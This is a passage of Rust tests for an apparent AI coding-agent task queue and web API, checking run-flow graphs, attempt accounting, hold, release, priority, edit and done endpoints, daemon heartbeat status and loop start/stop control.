9111 run: "a b/c".to_owned(),
9112 node: crate::queue::CHAT_NODE.to_owned(),
9113 };
9114 let f = flow_for(&t, &[]);
9115 assert_eq!(f.nodes[0].key, "chat");
9116 assert_eq!(f.nodes[0].kind, "chat");
9117 assert_eq!(
9118 f.nodes[0].label,
9119 format!("Chat {}", crate::queue::short("a b/c"))
9120 );
9121 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9122 assert_eq!(f.nodes[1].key, "start");
9123 assert_eq!(
9124 f.edges[0],
9125 FlowEdge {
9126 from: "chat".to_owned(),
9127 to: "start".to_owned(),
9128 label: "queued from chat".to_owned(),
9129 attempt: AttemptCost::None,
9130 }
9131 );
9132 }
9133
9134 #[test]
9135 fn flow_has_no_chat_box_for_other_sources() {
9136 for source in [
9137 Source::Human,
9138 Source::Issue {
9139 number: 3,
9140 repo: "o/r".to_owned(),
9141 },
9142 Source::Agent {
9143 run: "20260904-014455-ab12".to_owned(),
9144 node: "implement".to_owned(),
9145 },
9146 ] {
9147 let mut t = flow_task(&[]);
9148 t.source = source;
9149 let f = flow_for(&t, &[]);
9150 assert_eq!(f.nodes[0].key, "start");
9151 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9152 assert!(f.edges.iter().all(|e| e.from != "chat"));
9153 }
9154 }
9155
9156 const FA: &str = "20260902-140501-aaaa";
9157 const FB: &str = "20260902-140502-bbbb";
9158
9159 #[test]
9160 fn flow_follows_blocked_retry_merged_to_done() {
9161 let mut t = flow_task(&[FA, FB]);
9162 t.status = TaskStatus::Done;
9163 let f = flow_for(
9164 &t,
9165 &[
9166 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9167 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9168 ],
9169 );
9170 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9171 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9172 assert_eq!(f.edges.len(), 3);
9173 assert_eq!(f.edges[0].label, "claimed");
9174 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9175 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9176 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9177 assert_eq!(
9178 f.nodes[2].href.as_deref(),
9179 Some("#/runs/20260902-140502-bbbb")
9180 );
9181 assert!(f.nodes[2].decided);
9182 }
9183
9184 #[test]
9185 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9186 let quota = || {
9187 flow_run(RunStatus::Stalled, |s| {
9188 s.quota.push(crate::run::QuotaLoss {
9189 seat: "judge-1".to_owned(),
9190 node: "judge".to_owned(),
9191 at: Timestamp::now(),
9192 reset: None,
9193 })
9194 })
9195 };
9196 let mut t = flow_task(&[FA, FA]);
9197 t.status = TaskStatus::Queued;
9198 let f = flow_for(&t, &[(FA, Some(quota()))]);
9199 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9200 assert_eq!(f.nodes[1].note, Some("interrupted"));
9201 assert_eq!(
9202 f.nodes[1].status, None,
9203 "no outcome copied onto an earlier pass"
9204 );
9205 assert_eq!(
9206 f.edges[1].attempt,
9207 AttemptCost::Unknown,
9208 "a resume does not prove the earlier pass was refunded"
9209 );
9210 assert!(f.edges[1].label.contains("resume the same run"));
9211 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9212 assert_eq!(
9213 f.edges[2].label,
9214 "stalled after a resume, refund unknown \u{2192} queued"
9215 );
9216 assert!(!f.nodes[2].decided, "a stall is not a decision");
9217 assert_eq!(f.nodes[2].note, Some("no verdict"));
9218 }
9219
9220 #[test]
9221 fn flow_single_pass_quota_stall_is_refunded() {
9222 let t = flow_task(&[FA]);
9223 let f = flow_for(
9224 &t,
9225 &[(
9226 FA,
9227 Some(flow_run(RunStatus::Stalled, |s| {
9228 s.quota.push(crate::run::QuotaLoss {
9229 seat: "judge-1".to_owned(),
9230 node: "judge".to_owned(),
9231 at: Timestamp::now(),
9232 reset: None,
9233 })
9234 })),
9235 )],
9236 );
9237 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9238 }
9239
9240 #[test]
9241 fn flow_parked_refunds_and_stall_without_quota_spends() {
9242 let mut t = flow_task(&[FA]);
9243 t.status = TaskStatus::Queued;
9244 let f = flow_for(
9245 &t,
9246 &[(
9247 FA,
9248 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9249 )],
9250 );
9251 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9252 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9253 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9254 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9255 assert!(!f.nodes[1].decided);
9256 }
9257
9258 #[test]
9259 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9260 let t = flow_task(&[FA, FB]);
9261 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9262 assert_eq!(f.nodes[1].note, Some("unreadable"));
9263 assert!(!f.nodes[1].readable);
9264 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9265 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9266 }
9267
9268 #[test]
9269 fn flow_names_the_branch_of_a_review_only_run() {
9270 let t = flow_task(&[FA]);
9271 let f = flow_for(
9272 &t,
9273 &[(
9274 FA,
9275 Some(flow_run(RunStatus::Merged, |s| {
9276 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9277 })),
9278 )],
9279 );
9280 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9281 assert_eq!(
9282 f.nodes[1].detail.as_deref(),
9283 Some("review-only run of branch magi/x/A")
9284 );
9285 }
9286
9287 #[test]
9288 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9289 let mut t = flow_task(&[FA]);
9290 t.status = TaskStatus::Held;
9291 let pr = crate::run::PrRecord {
9292 url: "https://example.test/pr/1".to_owned(),
9293 number: 1,
9294 state: "open".to_owned(),
9295 checks: "green".to_owned(),
9296 round: 0,
9297 rounds: 3,
9298 red_at_merge: Vec::new(),
9299 };
9300 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9301 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9302 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9303 t.status = TaskStatus::Done;
9304 let f = flow_for(&t, &[(FA, Some(blocked))]);
9305 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9306 }
9307
9308 #[test]
9309 fn flow_with_no_runs_goes_from_queued_to_queued() {
9310 let t = flow_task(&[]);
9311 let f = flow_for(&t, &[]);
9312 assert_eq!(f.nodes.len(), 2);
9313 assert_eq!(f.edges.len(), 1);
9314 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9315 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9316 }
9317
9318 #[test]
9321 fn a_parked_non_terminal_run_is_explained_as_parked() {
9322 let mut s = RunState::new(
9323 PathBuf::from("/repo/magi"),
9324 "main".to_owned(),
9325 "0123456789abcdef".to_owned(),
9326 "Do it".to_owned(),
9327 Config::default(),
9328 );
9329 s.status = RunStatus::Implementing;
9330 s.parked = true;
9331 let task = Task::new(
9332 "t".to_owned(),
9333 "Do it".to_owned(),
9334 PathBuf::from("/repo/magi"),
9335 Source::Human,
9336 );
9337 let v = task_run_view(
9338 "20260902-140501-aaaa",
9339 Some(&s),
9340 RunSlot {
9341 n: 1,
9342 resumed: false,
9343 resumed_later: None,
9344 prior: None,
9345 last: true,
9346 },
9347 &task,
9348 );
9349 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9350 }
9351
9352 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9353 let mut s = flow_run(RunStatus::Implementing, edit);
9354 s.parked = false;
9355 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9356 task_run_view(
9357 "20260902-140501-aaaa",
9358 Some(&s),
9359 RunSlot {
9360 n: 1,
9361 resumed: false,
9362 resumed_later: Some(2),
9363 prior: None,
9364 last: false,
9365 },
9366 &task,
9367 )
9368 }
9369
9370 #[test]
9371 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9372 let v = earlier_pass_view(|_| {});
9373 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9374 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9375 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9376 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9377 assert_eq!(v.exit, RunExit::Interrupted);
9378 assert_eq!(v.attempt, AttemptCost::Unknown);
9379 }
9380
9381 #[test]
9382 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9383 let v = earlier_pass_view(|s| {
9384 s.quota.push(crate::run::QuotaLoss {
9385 seat: "judge-1".to_owned(),
9386 node: "judge".to_owned(),
9387 at: Timestamp::now(),
9388 reset: None,
9389 });
9390 });
9391 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9392 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9393 assert_eq!(v.attempt, AttemptCost::Unknown);
9394 }
9395
9396 #[test]
9397 fn the_current_pass_states_its_recorded_cause_and_cost() {
9398 let slot = || RunSlot {
9399 n: 1,
9400 resumed: false,
9401 resumed_later: None,
9402 prior: None,
9403 last: true,
9404 };
9405 let task = flow_task(&["20260902-140501-aaaa"]);
9406 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9407 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9408 assert_eq!(
9409 (v.exit, v.attempt),
9410 (RunExit::Parked, AttemptCost::Refunded)
9411 );
9412 let spent = flow_run(RunStatus::Blocked, |_| {});
9413 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9414 assert_eq!(v.attempt, AttemptCost::Spent);
9415 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9416 }
9417
9418 #[tokio::test]
9419 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9420 let f = Fixture::start().await;
9421 let queue = f.queue();
9422 let mut task = Task::new(
9423 "spent".to_owned(),
9424 "Try again".to_owned(),
9425 PathBuf::from("/repo/magi"),
9426 Source::Human,
9427 );
9428 task.start("20260902-140502-bbbb".to_owned());
9429 task.fail("agent gave up", 9);
9430 queue.put(&mut task).expect("file the task");
9431
9432 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9433 assert_eq!(held.status, 200);
9434 assert_eq!(held.json()["status_str"], "held");
9435
9436 let released = f
9437 .post(&format!("/api/queue/{}/release", task.id), None)
9438 .await;
9439 assert_eq!(released.status, 200);
9440 assert_eq!(released.json()["status_str"], "queued");
9441 assert_eq!(
9442 released.json()["attempts"],
9443 0,
9444 "release is a real second chance, not an instant re-hold"
9445 );
9446 assert_eq!(
9447 queue.get(&task.id).expect("reload").status,
9448 TaskStatus::Queued,
9449 "the change is on disk, not only in the reply"
9450 );
9451 assert!(
9452 !f.home
9453 .path()
9454 .join("queue")
9455 .join(format!("{}.lock", task.id))
9456 .exists(),
9457 "the claim the mutation took is released again"
9458 );
9459 }
9460
9461 #[tokio::test]
9462 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9463 let f = Fixture::start().await;
9464 let queue = f.queue();
9465 let mut task = Task::new(
9466 "busy".to_owned(),
9467 "Running right now".to_owned(),
9468 PathBuf::from("/repo/magi"),
9469 Source::Human,
9470 );
9471 queue.put(&mut task).expect("file the task");
9472 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9473
9474 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9475
9476 assert_eq!(res.status, 409);
9477 assert_eq!(
9478 queue.get(&task.id).expect("reload").status,
9479 TaskStatus::Queued,
9480 "the refused hold changed nothing"
9481 );
9482 }
9483
9484 #[tokio::test]
9485 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9486 let f = Fixture::start().await;
9487 let queue = f.queue();
9488 let mut task = Task::new(
9489 "waiting on the migration".to_owned(),
9490 "Do the thing".to_owned(),
9491 PathBuf::from("/repo/magi"),
9492 Source::Human,
9493 );
9494 queue.put(&mut task).expect("file the task");
9495
9496 let held = f
9497 .post(
9498 &format!("/api/queue/{}/hold", task.id),
9499 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9500 )
9501 .await;
9502 assert_eq!(held.status, 200, "{}", held.body);
9503 assert_eq!(held.json()["status_str"], "held");
9504 assert_eq!(
9505 held.json()["hold_reason"],
9506 "waiting for 20260101-000000-aaaa to land"
9507 );
9508
9509 let listed = f.get("/api/queue").await.json();
9510 assert_eq!(
9511 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9512 "the card reads the reason off the same list route"
9513 );
9514
9515 let mut plain = Task::new(
9518 "no reason given".to_owned(),
9519 "Do another thing".to_owned(),
9520 PathBuf::from("/repo/magi"),
9521 Source::Human,
9522 );
9523 queue.put(&mut plain).expect("file the task");
9524 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9525 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9526 assert!(held_plain.json()["hold_reason"].is_null());
9527
9528 let released = f
9529 .post(&format!("/api/queue/{}/release", task.id), None)
9530 .await;
9531 assert_eq!(released.status, 200);
9532 assert!(
9533 released.json()["hold_reason"].is_null(),
9534 "a release must clear the reason so the next hold does not inherit it"
9535 );
9536 }
9537
9538 #[tokio::test]
9539 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9540 let f = Fixture::start().await;
9541 let queue = f.queue();
9542 let mut older = Task::new(
9543 "filed first".to_owned(),
9544 "x".to_owned(),
9545 PathBuf::from("/repo/magi"),
9546 Source::Human,
9547 );
9548 older.id = "20260101-000001-aaaa".to_owned();
9549 let mut newer = Task::new(
9550 "filed second".to_owned(),
9551 "x".to_owned(),
9552 PathBuf::from("/repo/magi"),
9553 Source::Human,
9554 );
9555 newer.id = "20260101-000002-bbbb".to_owned();
9556 queue.put(&mut older).expect("file older");
9557 queue.put(&mut newer).expect("file newer");
9558
9559 let before = f.get("/api/queue").await.json();
9562 assert_eq!(before[0]["id"], newer.id);
9563 assert_eq!(before[1]["id"], older.id);
9564
9565 let raised = f
9569 .post(
9570 &format!("/api/queue/{}/priority", older.id),
9571 Some(r#"{"priority":10}"#),
9572 )
9573 .await;
9574 assert_eq!(raised.status, 200, "{}", raised.body);
9575 assert_eq!(raised.json()["priority"], 10);
9576
9577 let after = f.get("/api/queue").await.json();
9578 let names: Vec<&str> = after
9579 .as_array()
9580 .unwrap()
9581 .iter()
9582 .map(|t| t["id"].as_str().unwrap())
9583 .collect();
9584 assert_eq!(names[0], older.id, "the raised task now sorts first");
9588 }
9589
9590 #[tokio::test]
9591 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9592 let f = Fixture::start().await;
9593 let queue = f.queue();
9594 let mut task = Task::new(
9595 "in flight".to_owned(),
9596 "x".to_owned(),
9597 PathBuf::from("/repo/magi"),
9598 Source::Human,
9599 );
9600 task.start("20260902-140502-bbbb".to_owned());
9601 queue.put(&mut task).expect("file the task");
9602
9603 let res = f
9604 .post(
9605 &format!("/api/queue/{}/priority", task.id),
9606 Some(r#"{"priority":9}"#),
9607 )
9608 .await;
9609 assert_eq!(res.status, 400, "{}", res.body);
9610 assert!(
9611 res.json()["error"]
9612 .as_str()
9613 .is_some_and(|e| e.contains("running")),
9614 "{}",
9615 res.body
9616 );
9617 assert_eq!(
9618 queue.get(&task.id).expect("reload").priority,
9619 0,
9620 "the refused write must not partially apply"
9621 );
9622 }
9623
9624 #[tokio::test]
9625 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9626 let f = Fixture::start().await;
9627 let queue = f.queue();
9628 let mut task = Task::new(
9629 "old title".to_owned(),
9630 "old instruction".to_owned(),
9631 PathBuf::from("/repo/magi"),
9632 Source::Agent {
9633 run: "20260101-000000-beef".to_owned(),
9634 node: "implement".to_owned(),
9635 },
9636 );
9637 task.runs.push("20260101-000000-beef".to_owned());
9638 queue.put(&mut task).expect("file the task");
9639 let created_at = task.created_at;
9640
9641 let edited = f
9642 .post(
9643 &format!("/api/queue/{}/edit", task.id),
9644 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9645 )
9646 .await;
9647 assert_eq!(edited.status, 200, "{}", edited.body);
9648 let body = edited.json();
9649 assert_eq!(body["title"], "new title");
9650 assert_eq!(body["instruction"], "new instruction");
9651 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9652 assert_eq!(body["created_at"], created_at.to_string());
9653 assert_eq!(
9654 body["source"]["kind"], "agent",
9655 "editing a task an agent filed must not turn it human: {body}"
9656 );
9657 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9658
9659 let reloaded = queue.get(&task.id).expect("reload");
9660 assert_eq!(reloaded.title, "new title");
9661 assert_eq!(reloaded.instruction, "new instruction");
9662 }
9663
9664 #[tokio::test]
9665 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9666 let f = Fixture::start().await;
9667 let queue = f.queue();
9668 let mut owner = Task::new(
9669 "owner".to_owned(),
9670 "review it".to_owned(),
9671 PathBuf::from("/repo/magi"),
9672 Source::Human,
9673 );
9674 owner.review_branch = Some("magi/ab12/A".to_owned());
9675 queue.put(&mut owner).expect("file the owner");
9676 let mut task = Task::new(
9677 "draft".to_owned(),
9678 "old".to_owned(),
9679 PathBuf::from("/repo/magi"),
9680 Source::Human,
9681 );
9682 queue.put(&mut task).expect("file the draft");
9683 let url = format!("/api/queue/{}/edit", task.id);
9684
9685 let refused = f
9686 .post(
9687 &url,
9688 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9689 )
9690 .await;
9691 assert_eq!(refused.status, 409, "{}", refused.body);
9692 let msg = refused.json()["error"]
9693 .as_str()
9694 .unwrap_or_default()
9695 .to_owned();
9696 assert!(
9697 msg.contains("magi/ab12/A") && msg.contains("force"),
9698 "{msg}"
9699 );
9700 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9701
9702 let forced = f
9703 .post(
9704 &url,
9705 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9706 )
9707 .await;
9708 assert_eq!(forced.status, 200, "{}", forced.body);
9709 }
9710
9711 #[tokio::test]
9712 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9713 let f = Fixture::start().await;
9714 let queue = f.queue();
9715 let mut task = Task::new(
9716 "in flight".to_owned(),
9717 "do not touch".to_owned(),
9718 PathBuf::from("/repo/magi"),
9719 Source::Human,
9720 );
9721 task.start("20260902-140502-bbbb".to_owned());
9722 queue.put(&mut task).expect("file the task");
9723
9724 let res = f
9725 .post(
9726 &format!("/api/queue/{}/edit", task.id),
9727 Some(r#"{"title":"x","instruction":"y"}"#),
9728 )
9729 .await;
9730 assert_eq!(res.status, 400, "{}", res.body);
9731 assert!(
9732 res.json()["error"]
9733 .as_str()
9734 .is_some_and(|e| e.contains("running")),
9735 "{}",
9736 res.body
9737 );
9738 assert_eq!(
9739 queue.get(&task.id).expect("reload").instruction,
9740 "do not touch",
9741 "the refused edit must not change the file"
9742 );
9743 }
9744
9745 #[tokio::test]
9746 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9747 let f = Fixture::start().await;
9748 let queue = f.queue();
9749 let mut task = Task::new(
9750 "busy".to_owned(),
9751 "Running right now".to_owned(),
9752 PathBuf::from("/repo/magi"),
9753 Source::Human,
9754 );
9755 queue.put(&mut task).expect("file the task");
9756 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9757
9758 let priority = f
9759 .post(
9760 &format!("/api/queue/{}/priority", task.id),
9761 Some(r#"{"priority":9}"#),
9762 )
9763 .await;
9764 assert_eq!(priority.status, 409, "{}", priority.body);
9765
9766 let edit = f
9767 .post(
9768 &format!("/api/queue/{}/edit", task.id),
9769 Some(r#"{"title":"x","instruction":"y"}"#),
9770 )
9771 .await;
9772 assert_eq!(edit.status, 409, "{}", edit.body);
9773 }
9774
9775 #[tokio::test]
9776 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9777 let f = Fixture::start().await;
9778 let queue = f.queue();
9779 let mut task = Task::new(
9780 "shipped by hand".to_owned(),
9781 "merged outside the loop".to_owned(),
9782 PathBuf::from("/repo/magi"),
9783 Source::Agent {
9784 run: "20260101-000000-b455".to_owned(),
9785 node: "implement".to_owned(),
9786 },
9787 );
9788 task.runs.push("20260101-000000-b455".to_owned());
9789 task.runs.push("20260101-000000-9af4".to_owned());
9790 queue.put(&mut task).expect("file the task");
9791 let created_at = task.created_at;
9792
9793 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9794 assert_eq!(done.status, 200, "{}", done.body);
9795 assert_eq!(done.json()["status_str"], "done");
9796
9797 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9798 assert_eq!(
9799 reloaded.runs,
9800 ["20260101-000000-b455", "20260101-000000-9af4"]
9801 );
9802 assert_eq!(
9803 reloaded.source,
9804 Source::Agent {
9805 run: "20260101-000000-b455".to_owned(),
9806 node: "implement".to_owned(),
9807 }
9808 );
9809 assert_eq!(reloaded.created_at, created_at);
9810 }
9811
9812 #[tokio::test]
9813 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9814 let f = Fixture::start().await;
9819 let queue = f.queue();
9820 let mut task = Task::new(
9821 "landed while held".to_owned(),
9822 "x".to_owned(),
9823 PathBuf::from("/repo/magi"),
9824 Source::Human,
9825 );
9826 task.hold_manual(Some("waiting on 3ed9".to_owned()));
9827 queue.put(&mut task).expect("file the held task");
9828
9829 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9830 assert_eq!(done.status, 200, "{}", done.body);
9831 assert_eq!(done.json()["status_str"], "done");
9832 assert!(
9833 done.json()["hold_reason"].is_null(),
9834 "a done task cannot still be waiting on something: {}",
9835 done.body
9836 );
9837 }
9838
9839 #[tokio::test]
9840 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9841 let f = Fixture::start().await;
9846 let queue = f.queue();
9847 let runs = f.runs();
9848 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9849 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9853
9854 let mut task = Task::new(
9855 "landed by hand".to_owned(),
9856 "x".to_owned(),
9857 PathBuf::from("/repo/magi"),
9858 Source::Human,
9859 );
9860 task.runs.push("20260101-000000-doa1".to_owned());
9861 task.runs.push("20260101-000000-doa2".to_owned());
9862 queue.put(&mut task).expect("file the task");
9863
9864 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9865 assert_eq!(done.status, 200, "{}", done.body);
9866
9867 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9868 .expect("run still on disk under this fixture's own home");
9869 assert_eq!(
9870 reloaded_run.status,
9871 RunStatus::Superseded,
9872 "closing the task by hand must relabel the earlier blocked attempt exactly \
9873 like the loop's own settle path does"
9874 );
9875 }
9876
9877 #[tokio::test]
9878 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9879 let f = Fixture::start().await;
9884 let queue = f.queue();
9885 let runs = f.runs();
9886 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9887 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9888
9889 let mut task = Task::new(
9890 "closed with nothing actually landed".to_owned(),
9891 "x".to_owned(),
9892 PathBuf::from("/repo/magi"),
9893 Source::Human,
9894 );
9895 task.runs.push("20260101-000000-dob1".to_owned());
9896 task.runs.push("20260101-000000-dob2".to_owned());
9897 queue.put(&mut task).expect("file the task");
9898
9899 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9900 assert_eq!(done.status, 200, "{}", done.body);
9901
9902 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9903 .expect("run still on disk under this fixture's own home");
9904 assert_eq!(
9905 reloaded_run.status,
9906 RunStatus::Blocked,
9907 "the last recorded attempt never landed, so the earlier one must not be \
9908 relabelled as superseded by it"
9909 );
9910 }
9911
9912 #[tokio::test]
9913 async fn unknown_ids_are_json_not_found_on_both_stores() {
9914 let f = Fixture::start().await;
9915
9916 let run = f.get("/api/runs/nosuchrun").await;
9917 let task = f.post("/api/queue/nosuchtask/hold", None).await;
9918
9919 assert_eq!(run.status, 404);
9920 assert_eq!(task.status, 404);
9921 assert!(
9922 run.json()["error"]
9923 .as_str()
9924 .is_some_and(|e| e.contains("run")),
9925 "the error names what was not found: {}",
9926 run.body
9927 );
9928 assert!(
9929 task.json()["error"]
9930 .as_str()
9931 .is_some_and(|e| e.contains("task")),
9932 "the error names what was not found: {}",
9933 task.body
9934 );
9935 }
9936
9937 #[tokio::test]
9938 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9939 let f = Fixture::start().await;
9940
9941 let missing = f.get("/api/health").await.json();
9942 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9943
9944 write_daemon(
9945 f.home.path(),
9946 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9947 );
9948 let stale = f.get("/api/health").await.json();
9949 assert_eq!(
9950 stale["daemon"]["running"], false,
9951 "a minute without a heartbeat is a dead daemon, not a busy one"
9952 );
9953 assert!(
9954 stale["daemon"]["stale_for_secs"]
9955 .as_i64()
9956 .is_some_and(|s| s >= 55),
9957 "staleness is reported so the UI can say how long: {stale}"
9958 );
9959
9960 write_daemon(f.home.path(), Timestamp::now());
9961 let fresh = f.get("/api/health").await.json();
9962 assert_eq!(fresh["daemon"]["running"], true);
9963 assert_eq!(fresh["daemon"]["idle"], false);
9964 assert_eq!(fresh["daemon"]["pid"], 4242);
9965 assert_eq!(fresh["daemon"]["completed"], 7);
9966 assert_eq!(
9967 fresh["daemon"]["current"][0]["task"],
9968 "20260902-140501-aaaa"
9969 );
9970 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9971 }
9972
9973 #[tokio::test]
9974 async fn the_loop_is_not_running_until_something_starts_it() {
9975 let f = Fixture::start().await;
9976
9977 let view = f.get("/api/loop").await.json();
9978 assert_eq!(view["running"], false);
9979 assert_eq!(
9980 view["owned"], false,
9981 "nobody owns a loop that does not exist: {view}"
9982 );
9983 assert_eq!(view["stopping"], false);
9984 assert_eq!(view["last_error"], Value::Null);
9985 assert_eq!(view["daemon"]["running"], false);
9986 assert_eq!(
9987 view["repo"], "/repo/magi",
9988 "the repository a start would use, named before it is started"
9989 );
9990 }
9991
9992 #[tokio::test]
9993 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9994 let f = Fixture::start().await;
9995
9996 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9997 assert_eq!(res.status, 200, "{}", res.body);
9998 let view = res.json();
9999 assert_eq!(view["running"], true);
10000 assert_eq!(
10001 view["owned"], true,
10002 "the loop the UI started is the UI's own to stop: {view}"
10003 );
10004 assert_eq!(
10005 view["merge"],
10006 Value::Null,
10007 "no override was given, so each repository's own config decides"
10008 );
10009
10010 let health = f.get("/api/health").await.json();
10014 assert_eq!(health["loop"]["running"], true, "{health}");
10015 assert_eq!(health["loop"]["owned"], true, "{health}");
10016
10017 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10018 }
10019
10020 #[tokio::test]
10021 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10022 let f = Fixture::start().await;
10023 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10024 assert_eq!(first.status, 200, "{}", first.body);
10025
10026 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10027 assert_eq!(
10028 again.status, 409,
10029 "two loops on one queue race for the same claims: {}",
10030 again.body
10031 );
10032 assert!(
10033 again.json()["error"]
10034 .as_str()
10035 .is_some_and(|e| e.contains("already running the loop")),
10036 "the refusal has to say why: {}",
10037 again.body
10038 );
10039 assert_eq!(
10040 f.get("/api/loop").await.json()["running"],
10041 true,
10042 "and the loop that was already running is untouched by it"
10043 );
10044
10045 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10046 }
10047
10048 #[tokio::test]
10049 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10050 let f = Fixture::start().await;
10051 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10052
10053 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10054 assert_eq!(
10055 res.status, 200,
10056 "the answer must not wait for the loop: a run in flight is tens of \
10057 minutes and the operator is holding a phone: {}",
10058 res.body
10059 );
10060
10061 let view = settled(&f, |v| v["running"] == false).await;
10062 assert_eq!(view["owned"], false);
10063 assert_eq!(
10064 view["stopping"], false,
10065 "a loop that has stopped is not still stopping: {view}"
10066 );
10067 assert_eq!(
10068 view["last_error"],
10069 Value::Null,
10070 "a loop that was asked to stop did not fail: {view}"
10071 );
10072
10073 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10076 assert_eq!(twice.status, 200, "{}", twice.body);
10077 }
10078
10079 #[tokio::test]
10080 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10081 let f = Fixture::start().await;
10082 write_daemon(f.home.path(), Timestamp::now());
10085
10086 let view = f.get("/api/loop").await.json();
10087 assert_eq!(view["running"], false, "not in this process: {view}");
10088 assert_eq!(view["owned"], false, "and not this process's to control");
10089 assert_eq!(
10090 view["daemon"]["running"], true,
10091 "but a loop is alive somewhere, which is what the UI must say"
10092 );
